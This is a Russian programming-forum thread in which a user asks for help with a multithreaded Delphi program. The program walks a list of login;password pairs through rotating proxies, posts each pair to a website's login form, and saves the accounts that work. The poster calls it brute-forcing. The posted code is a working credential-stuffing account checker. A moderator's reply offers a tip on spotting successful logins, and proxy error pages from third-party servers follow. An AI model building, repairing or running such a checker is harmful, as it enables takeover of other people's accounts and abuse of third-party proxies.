Форум программистов, компьютерный форум, киберфорум
Delphi для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.60/25: Рейтинг темы: голосов - 25, средняя оценка - 4.60
5 / 5 / 2
Регистрация: 30.01.2013
Сообщений: 53
1

Синхронизация

06.02.2013, 19:16. Показов 4699. Ответов 2
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Почему-то кидает бэды в гуды, помогите разобраться...

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
procedure TNewThread.addmemo;
begin
  Form1.Label5.Caption:=Inttostr(Accounts.Count);
  Form1.Label7.Caption:=Inttostr(Proxy.Count);
case rez of
1:
begin
      Append(GoodFile);
      Writeln(GoodFile, Login+';'+Pass);
      Closefile(GoodFile);
      Form1.Memo1.Lines.Add('Good:'+' '+ Login+';'+Pass);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.ProgressBar1.Position:=Form1.ProgressBar1.Position+1;
end;
0:
begin
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
Form1.ProgressBar1.Position:=Form1.ProgressBar1.Position+1;
end;
 
-1:
begin
Accounts.Add(Login+';'+Pass);
Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1);
end;
 
end;
end;
 
procedure TNewThread.Execute;
var CurAcc, TP:integer;
    HTTP:THTTPSend;
    IP, Port:string;
    send:TStringStream;
    page:TStringList;
begin
 while Work do
  begin
   CS.Enter;
    Inc(Acc);  Inc(NP);
    if Acc<Accounts.Count-1 then CurAcc:=Acc else Work:=false;
    if NP<Proxy.Count-1 then TP:=NP else begin
      NP:=0;
      TP:=NP;
    end;
   CS.Leave;
 
   if Work then
    begin
     Login:=Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     Pass:=Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
     if Proxy.Text='' then sleep(0) else
     begin
     IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
     Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
     end;
     send:=TStringStream.Create('');
     send.WriteString('authsave=0&login='+Login+'&password='+Pass);
 
     HTTP:=THTTPSend.create;
     with HTTP do begin
      UserAgent:='Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0';
      MimeType:='application/x-www-form-urlencoded';
      Document.LoadFromStream(send);
     if Proxy.Text='' then sleep(0) else
     begin
      ProxyHost:=IP;
      ProxyPort:=Port;
     end;
     end;
     Send.Free;
      try
     if HTTP.HTTPMethod('POST', 'http://www.site.ru/auth/login/') then begin
      if Pos('Set-Cookie: site_uid=', HTTP.Headers.Text)<>0 then
      begin
      rez:=1;
      end
      else
      begin
      rez:=0;
      end
     end else
     begin
      rez:=-1;
     end;
      except
        if (http.ResultCode=405) or (http.ResultCode=403) or (http.ResultCode=400) or (HTTP.ResultCode=503 ) then
     begin
     rez:=0;
     end;
      end;
     synchronize(addmemo);
     HTTP.Free;
 
    end;
  end;
 
 dec(Thread);
 if Thread=0 then Form1.stop;
end;
Добавлено через 16 часов 48 минут
люди добрые)) помогайте
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
06.02.2013, 19:16
Ответы с готовыми решениями:

Синхронизация потоков
Подскажите, пожалуйста, на моем примере как правильно синхронизировать несколько потоков. На форме...

Синхронизация потоков
Здравствуйте,форумчане. Такая проблема. У меня есть три потока(создаю их мастером). Нужно...

Синхронизация потоков
Помогите,пожалуйста, нужно реализовать приложение - поставщик и приложение-потребитель или...

Многопоточность и синхронизация
Не могу разобраться с синхронизацией, много гуглил в яндексе, там ничего особо понятного не набрел,...

2
Модератор
3490 / 2613 / 741
Регистрация: 19.09.2012
Сообщений: 7,974
06.02.2013, 20:15 2
Возможно критерий определения "бэдов" и "гудов" надо доработать.
('Set-Cookie: site_uid=')
0
5 / 5 / 2
Регистрация: 30.01.2013
Сообщений: 53
07.02.2013, 00:32  [ТС] 3
Попробовал через Http.Document, при бруте исходный код везде почти одинаковый. Тоесть вот такой:

HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The requested URL could not be retrieved</TITLE>
<STYLE type="text/css"><!--BODY{background-color:#ffffff;font-family:verdana,sans-serif}PRE{font-family:sans-serif}--></STYLE>
</HEAD><BODY>
<H1>ERROR</H1>
<H2>The requested URL could not be retrieved</H2>
<HR noshade size="1px">
<P>
While trying to retrieve the URL:
<A HREF="http://www.parapa.ru/auth/login/">http://www.parapa.ru/auth/login/</A>
<P>
The following error was encountered:
<UL>
<LI>
<STRONG>
Access Denied.
</STRONG>
<P>
Access control configuration prevents your request from
being allowed at this time.  Please contact your service provider if
you feel this is incorrect.
</UL>
<P>Your cache administrator is <A HREF="mailto:cpd@auriflama.sp.gov.br">cpd@auriflama.sp.gov.br</A>. 
 
 
<BR clear="all">
<HR noshade size="1px">
<ADDRESS>
Generated Wed, 06 Feb 2013 19:54:30 GMT by proxy (squid/2.5.STABLE11)
</ADDRESS>
</BODY></HTML>
или же

HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>ERROR: The requested URL could not be retrieved</title>
<style type="text/css"><!--
 /*
 Stylesheet for Squid Error pages
 Adapted from design by Free CSS Templates
 http://www.freecsstemplates.org
 Released for free under a Creative Commons Attribution 2.5 License
*/
 
/* Page basics */
* {
    font-family: verdana, sans-serif;
}
 
html body {
    margin: 0;
    padding: 0;
    background: #efefef;
    font-size: 12px;
    color: #1e1e1e;
}
 
/* Page displayed title area */
#titles {
    margin-left: 15px;
    padding: 10px;
    padding-left: 100px;
    background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;
}
 
/* initial title */
#titles h1 {
    color: #000000;
}
#titles h2 {
    color: #000000;
}
 
/* special event: FTP success page titles */
#titles ftpsuccess {
    background-color:#00ff00;
    width:100%;
}
 
/* Page displayed body content area */
#content {
    padding: 10px;
    background: #ffffff;
}
 
/* General text */
p {
}
 
/* error brief description */
#error p {
}
 
/* some data which may have caused the problem */
#data {
}
 
/* the error message received from the system or other software */
#sysmsg {
}
 
pre {
    font-family:sans-serif;
}
 
/* special event: FTP / Gopher directory listing */
#dirmsg {
    font-family: courier;
    color: black;
    font-size: 10pt;
}
#dirlisting {
    margin-left: 2%;
    margin-right: 2%;
}
#dirlisting tr.entry td.icon,td.filename,td.size,td.date {
    border-bottom: groove;
}
#dirlisting td.size {
    width: 50px;
    text-align: right;
    padding-right: 5px;
}
 
/* horizontal lines */
hr {
    margin: 0;
}
 
/* page displayed footer area */
#footer {
    font-size: 9px;
    padding-left: 10px;
}
 
 
body
:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }
:lang(he) { direction: rtl; float: right; }
 --></style>
</head><body id=ERR_ACCESS_DENIED>
<div id="titles">
<h1>ERROR</h1>
<h2>The requested URL could not be retrieved</h2>
</div>
<hr>
 
<div id="content">
<p>The following error was encountered while trying to retrieve the URL: <a href="http://www.parapa.ru/auth/login/">http://www.parapa.ru/auth/login/</a></p>
 
<blockquote id="error">
<p><b>Access Denied.</b></p>
</blockquote>
 
<p>Access control configuration prevents your request from being allowed at this time. Please contact your service provider if you feel this is incorrect.</p>
 
<p>Your cache administrator is <a href="mailto:chamado@tacoinformatica.com.br?subject=CacheErrorInfo%20-%20ERR_ACCESS_DENIED&amp;body=CacheHost%3A%20isis_server%0D%0AErrPage%3A%20ERR_ACCESS_DENIED%0D%0AErr%3A%20%5Bnone%5D%0D%0ATimeStamp%3A%20Wed,%2006%20Feb%202013%2020%3A29%3A48%20GMT%0D%0A%0D%0AClientIP%3A%2037.146.234.16%0D%0A%0D%0AHTTP%20Request%3A%0D%0APOST%20%2Fauth%2Flogin%2F%20HTTP%2F1.0%0AHost%3A%20www.parapa.ru%0D%0AKeep-Alive%3A%20300%0D%0AProxy-Connection%3A%20keep-alive%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%205.1%3B%20rv%3A11.0)%20Gecko%2F20100101%20Firefox%2F11.0%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2045%0D%0A%0D%0A%0D%0A">chamado@tacoinformatica.com.br</a>.</p>
<br>
</div>
 
<hr>
<div id="footer">
<p>Generated Wed, 06 Feb 2013 20:29:48 GMT by isis_server (squid/3.1.16)</p>
<!-- ERR_ACCESS_DENIED -->
</div>
</body></html>
В чем проблема?
0
07.02.2013, 00:32
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
07.02.2013, 00:32
Помогаю со студенческими работами здесь

Синхронизация потоков
Всем добрый день. Возникла проблема с синхронизацией потоков. Есть определенная программа о которой...

синхронизация процессов
нужна помощь!! Суть задачи состоит в том, что мы создаем приложение с двумя дополнительными...

Синхронизация потоков
задание вот такое: Написать программу, создающую три потока. Каждый поток через случайные...

Синхронизация потока
Имеется поток, ошибка в wsocket1.Как синхронизовать? procedure tzon.execute; var t:integer;...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru